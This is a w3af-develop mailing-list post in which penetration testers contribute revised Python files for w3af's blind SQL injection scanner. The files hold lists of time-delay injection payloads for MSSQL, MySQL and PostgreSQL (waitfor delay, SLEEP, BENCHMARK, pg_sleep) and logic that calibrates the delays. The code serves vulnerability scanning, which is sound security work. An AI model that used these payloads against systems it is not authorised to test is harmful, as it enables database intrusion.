We work a lot with W3AF and have found that there were some things that the Blind SQLi plugin wasn't finding.
So we decided to correct it as much as possible to make it work better. Modified the blind_sqli_time_delay.py ------------------------------------------------- The first thing we added are new statement checks for mysql 5, which already has a SLEEP function, making it more accurate to test than the benchmark test. For mysql 4, we still leave the benchmark test, but we reimplemented it so that it is more accurate, it bases the amount of benchmarks to do according to the response time of 2 base cases. Note: The base case is done with 250000 benchmarks, if the server timeouts on that then the detection won't work, this is really rared, we tested it in an old Sun server of 500Mhz and worked. Apart from that we added a weight to each statement, if an injection is found in a statement it increases all the statements for that database, and it gives an extra weight to the statement that generated the injection. The statements are sent in decreasing weight order. In order to use the successful statements first and not waste time with the others. Modified the blindSQLi.py ------------------------------------ It sends the time test first, and only if that test is not successful then it launches the diff test. We chose to do the time test first because the result of that test is more trustworthy than the diff test results. And if one is successful why lose time executing the other test. Apart from that, we added the options to choose against which database you want to test. If you know the database it will save you many requests. Modified the dbms.py ------------------------------ We added MYSQL5 constant and changed MYSQL to MYSQL4 leaving MYSQL as an alias to MYSQL4 We attach the three files in the email. All feedback will be appreciated =D Test it and tell us, hope it's useful for everybody. ---- Traberg, Gaston Penetration Testing, Co-Founder. Nasel Corporation
''' blind_sqli_time_delay.py Copyright 2010 This file is part of w3af, w3af.sourceforge.net . w3af is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation version 2 of the License. w3af is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with w3af; if not, write to the Free Software Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA ''' from core.data.fuzzer.fuzzer import createMutants, createRandNum import core.controllers.outputManager as om import core.data.kb.vuln as vuln import core.data.kb.knowledgeBase as kb import core.data.constants.severity as severity import core.data.constants.dbms as dbms from core.controllers.w3afException import w3afException # importing this to have sendMutant and setUrlOpener from core.controllers.basePlugin.basePlugin import basePlugin class blind_sqli_time_delay(basePlugin): ''' This class tests for blind SQL injection bugs using time delays, the logic is here and not as an audit plugin because this logic is also used in attack plugins. @author: Santiago Alessandri - CERT UNLP - Nasel Corporation - salessandri[at]nasel[dot]com[dot]ar @author: Gaston Traberg - CERT UNLP - Nasel Corporation - gtraberg[at]nasel[dot]com[dot]ar ''' def __init__(self): # ""I'm a plugin"" basePlugin.__init__(self) self._runned = True self.options = {} self._wait_time = 6 self._error = 0.2 def is_injectable( self, freq, parameter): ''' Check if "parameter" of the fuzzable request object is injectable or not. @freq: The fuzzableRequest object that I have to modify @parameter: A string with the parameter name to test @return: A vulnerability object or None if nothing is found ''' if self._runned: self._runned = False # Gather the statements to test self._statements = self._get_statements(self.options) #Do a basic test to find possible SQL Injections strings suspects = [] #Gather the original value of the variable to use it later. original_var_value = freq.getDc()[parameter][0] base_time = self._sendMutant(freq, analyze=False).getWaitTime() suspect = False for statement in self._statements: #Sending with a high value if statement.dbms == dbms.MYSQL4: #In case it's a MySQL4 it should be treated differently mutant = createMutants( freq , [statement.get_param_str(original_var_value,1000000)], fuzzableParamList=[parameter] )[0] else: #Other cases it should be treated with seconds mutant = createMutants( freq , [statement.get_param_str(original_var_value,5)], fuzzableParamList=[parameter] )[0] try: response = self._sendMutant( mutant, analyze=False ) high_time = response.getWaitTime() except w3afException, e: high_time = 9999 #If the response time of the hight is at least 2 seconds more #we mark it as a suspected Injection. if high_time > base_time + 2: suspect = True break #Now we do a detailed inspection of suspected injection strings if suspect: #First get the average response time with 1 second delay or doing #almost nothing for MySQL if statement.dbms == dbms.MYSQL4: #If it is a MySQL4 statement it should be treated differently because it doesn't #have a delay function. benchs = 250000 #Get the response time for a small number of benchmarks. mutant = createMutants( freq , [statement.get_param_str(original_var_value, benchs)], fuzzableParamList=[parameter] )[0] response = self._sendMutant( mutant, analyze=False ) response_time = response.getWaitTime() #Based on response time, we can determine how many iterations we #need to force the server to do in order to get _wait_time seconds of delay diff = response_time - base_time secs_per_benchmark = response_time / benchs waiting_time = self._wait_time - base_time benchs_todo = waiting_time / secs_per_benchmark #Get the response time for the calculated number of iterations mutant = createMutants( freq , [statement.get_param_str(original_var_value, benchs_todo)], fuzzableParamList=[parameter] )[0] response = self._sendMutant( mutant, analyze=False ) time_for_test = response.getWaitTime() else: #Calculate the response time with a delay of_wait_time 6 seconds mutant = createMutants( freq , [statement.get_param_str(original_var_value, self._wait_time)], fuzzableParamList=[parameter] )[0] response = self._sendMutant( mutant, analyze=False ) time_for_test = response.getWaitTime() #If time_for_test is around (_error * _wait_time) seconds #Create the vulnerability object and return it. time_for_test -= base_time margin = self._wait_time * self._error if time_for_test > (self._wait_time - margin) and time_for_test < (self._wait_time + margin): #Create the vulnerability object and return it vuln = self.createVuln(mutant, response, statement) om.out.information(str(vuln)) #We increase the weight of the statements that belong to the #same database as the mathching sqli statement. for stmt in [ x for x in self._statements if x.dbms == statement.dbms]: stmt.inc_weight(1) #We increase one more time the statement that generated the #sqli injection, so it has more weight that the others. #Then we sort the statement list. statement.inc_weight(1) self._statements.sort(key=statement.get_weight) return vuln return None def createVuln(self, mutant, response, statement): v = vuln.vuln( mutant ) v.setName( 'Blind SQL injection - ' + statement.dbms ) v.setSeverity(severity.HIGH) v.setDesc( 'Blind SQL injection was found at: ' + mutant.foundAt() ) v.setDc( mutant.getDc() ) v.setId( response.id ) v.setURI( response.getURI() ) return v def _get_statements( self, options ): ''' @return: A list of statements, each represents a possible sql injection format. ''' res = [] # MSSQL if options.get('MSSQL', True): res.append( statement("%s ;waitfor delay '0:0:%d'-- %d%d", dbms.MSSQL) ) res.append( statement("%s) ;waitfor delay '0:0:%d'-- %d%d", dbms.MSSQL) ) res.append( statement("%s)) ;waitfor delay '0:0:%d'-- %d%d", dbms.MSSQL) ) res.append( statement("%s' ;waitfor delay '0:0:%d'-- %d%d", dbms.MSSQL) ) res.append( statement("%s') ;waitfor delay '0:0:%d'-- %d%d", dbms.MSSQL) ) res.append( statement("%s'));waitfor delay '0:0:%d'-- %d%d", dbms.MSSQL) ) res.append( statement("%s\" ;waitfor delay '0:0:%d'-- %d%d", dbms.MSSQL) ) res.append( statement("%s\") ;waitfor delay '0:0:%d'-- %d%d", dbms.MSSQL) ) res.append( statement("%s\"));waitfor delay '0:0:%d'-- %d%d", dbms.MSSQL) ) # MySQL5 if options.get('MySQL5', True): res.append( statement("%s and SLEEP(%d) and %d=%d " , dbms.MYSQL5) ) res.append( statement("%s and SLEEP(%d) and %d=%d -- " , dbms.MYSQL5) ) res.append( statement("%s' and SLEEP(%d) and '%d'='%d" , dbms.MYSQL5) ) res.append( statement('%s" and SLEEP(%d) and "%d"="%d' , dbms.MYSQL5) ) # MySQL4 if options.get('MySQL4', True): res.append( statement("%s and BENCHMARK(%d,MD5(1)) and %d=%d -- " , dbms.MYSQL4) ) res.append( statement("%s and BENCHMARK(%d,MD5(1)) and %d=%d " , dbms.MYSQL4) ) res.append( statement("%s' and BENCHMARK(%d,MD5(1)) and '%d'='%d" , dbms.MYSQL4) ) res.append( statement('%s" and BENCHMARK(%d,MD5(1)) and "%d"="%d' , dbms.MYSQL4) ) # PostgreSQL if options.get('PostgreSQL', True): res.append( statement("%s and pg_sleep(%d) and %d=%d " , dbms.POSTGRE) ) res.append( statement("%s' and pg_sleep(%d) and '%d'='%d" , dbms.POSTGRE) ) res.append( statement('%s" and pg_sleep(%d) and "%d"="%d' , dbms.POSTGRE) ) # TODO: Add Oracle support # TODO: Add XXXXX support return res class statement(object): def __init__(self, sql_command, dbms): self.sql_command = sql_command self.dbms = dbms self.asked = 0 self.weight = 0 def get_param_str(self, origParam, value): self.asked += 1 return self.sql_command%(origParam, value, self.asked, self.asked) def inc_weight(self, amount): self.weight += amount def get_weight(cls, statement): return -statement.weight
''' dbms.py Copyright 2008 Andres Riancho This file is part of w3af, w3af.sourceforge.net . w3af is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation version 2 of the License. w3af is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with w3af; if not, write to the Free Software Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA ''' # We define some constants DB2 = 'IBM DB2 database' MSSQL = 'Microsoft SQL database' ORACLE = 'Oracle database' SYBASE = 'Sybase database' POSTGRE = 'PostgreSQL database' MYSQL4 = 'MySQL4 database' MYSQL = MYSQL4 MYSQL5 = 'MySQL5 database' JAVA = 'Java connector' ACCESS = 'Microsoft Access database' INFORMIX = 'Informix database' INTERBASE = 'Interbase database' DMLDATABASE = 'DML Language database' UNKNOWN = 'Unknown database'
''' blindSqli.py Copyright 2006 Andres Riancho This file is part of w3af, w3af.sourceforge.net . w3af is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation version 2 of the License. w3af is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with w3af; if not, write to the Free Software Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA ''' import core.controllers.outputManager as om # options from core.data.options.option import option from core.data.options.comboOption import comboOption from core.data.options.optionList import optionList from core.controllers.basePlugin.baseAuditPlugin import baseAuditPlugin import core.data.kb.knowledgeBase as kb # Import the logic to find the vulnerabilities from core.controllers.sql_tools.blind_sqli_response_diff import blind_sqli_response_diff from core.controllers.sql_tools.blind_sqli_time_delay import blind_sqli_time_delay class blindSqli(baseAuditPlugin): ''' Find blind SQL injection vulnerabilities. @author: Andres Riancho ( andres.rian...@gmail.com ) @refactored by: Santiago Alessandri - CERT UNLP - Nasel Corporation - salessandri[at]nasel[dot]com[dot]ar @refactored by: Gaston Traberg - CERT UNLP - Nasel Corporation - gtraberg[at]nasel[dot]com[dot]ar ''' def __init__(self): baseAuditPlugin.__init__(self) self._bsqli_response_diff = blind_sqli_response_diff() self._blind_sqli_time_delay = blind_sqli_time_delay() self._first_run = True # User configured variables self._equalLimit = 0.9 self._equAlgorithm = 'setIntersection' def audit(self, freq ): ''' Tests an URL for blind Sql injection vulnerabilities. @param freq: A fuzzableRequest ''' om.out.debug( 'blindSqli plugin is testing: ' + freq.getURL() ) if self._first_run: self._first_run = False self._blind_sqli_time_delay.options = self._optionDict for parameter in freq.getDc(): # Try to identify the vulnerabilities using response string differences self._bsqli_response_diff.setUrlOpener( self._urlOpener ) self._bsqli_response_diff.setEqualLimit( self._equalLimit ) self._bsqli_response_diff.setEquAlgorithm( self._equAlgorithm ) # And I also check for Blind SQL Injections using time delays self._blind_sqli_time_delay.setUrlOpener( self._urlOpener ) time_delay = self._blind_sqli_time_delay.is_injectable( freq, parameter ) if time_delay != None: om.out.vulnerability( time_delay.getDesc() ) kb.kb.append(self, 'blindSqli', time_delay) else: # FIXME: what about repeated parameter names? response_diff = self._bsqli_response_diff.is_injectable( freq, parameter ) if response_diff != None: om.out.vulnerability( response_diff.getDesc() ) kb.kb.append(self, 'blindSqli', response_diff) self._tm.join( self ) def getOptions( self ): ''' @return: A list of option objects for this plugin. ''' d1 = 'The algorithm to use in the comparison of true and false response for blind sql.' h1 = 'The options are: "stringEq" and "setIntersection". ' h1 += 'Read the long description for details.' o1 = option('equAlgorithm', self._equAlgorithm, d1, 'string', help=h1) d2 = 'Set the equal limit variable' h2 = 'Two pages are equal if they match in more than equalLimit. Only used when ' h2 += 'equAlgorithm is set to setIntersection.' o2 = option('equalLimit', self._equalLimit, d2, 'float', help=h2) d3 = 'Search for MySQL4 Injections' h3 = 'It tries the injection strings that fit to MySQL4 syntax ' o3 = option('MySQL4', True, d3, 'boolean', help=h3) d4 = 'Search for MySQL5 Injections' h4 = 'It tries the injection strings that fit to MySQL5 syntax ' o4 = option('MySQL5', True, d4, 'boolean', help=h4) d5 = 'Search for MSSQL Injections' h5 = 'It tries the injection strings that fit to MSSQL syntax ' o5 = option('MSSQL', True, d5, 'boolean', help=h5) d6 = 'Search for PostgreSQL Injections' h6 = 'It tries the injection strings that fit to PostgreSQL syntax ' o6 = option('PostgreSQL', True, d6, 'boolean', help=h6) ol = optionList() ol.add(o1) ol.add(o2) ol.add(o3) ol.add(o4) ol.add(o5) ol.add(o6) return ol def setOptions( self, optionsMap ): ''' This method sets all the options that are configured using the user interface generated by the framework using the result of getOptions(). @parameter OptionList: A dictionary with the options for the plugin. @return: No value is returned. ''' self._equAlgorithm = optionsMap['equAlgorithm'].getValue() self._equalLimit = optionsMap['equalLimit'].getValue() self._optionDict = { 'MySQL4' : optionsMap['MySQL4'].getValue(), 'MySQL5' : optionsMap['MySQL5'].getValue(), 'MSSQL' : optionsMap['MSSQL'].getValue(), 'PostgreSQL' : optionsMap['PostgreSQL'].getValue() } def getPluginDeps( self ): ''' @return: A list with the names of the plugins that should be runned before the current one. ''' return [ ] def getLongDesc( self ): ''' @return: A DETAILED description of the plugin functions and features. ''' return ''' This plugin finds blind SQL injections. Two configurable parameters exist: - equAlgorithm - equalLimit The equAlgorithm parameter configures how the comparison of pages is done, the options for equAlgorithm are: - stringEq - setIntersection The classic way of matching two strings is "stringEq" , in Python this is "string1 == string2" , but other ways have been developed for sites that have changing banners and random data on their HTML response. "setIntersection" will create two different sets with the words inside the two HTML responses, and do an intersection. If number of words that are in the intersection set divided by the total words are more than "equalLimit", then the responses are equal. '''
------------------------------------------------------------------------------
_______________________________________________ W3af-develop mailing list W3af-develop@lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/w3af-develop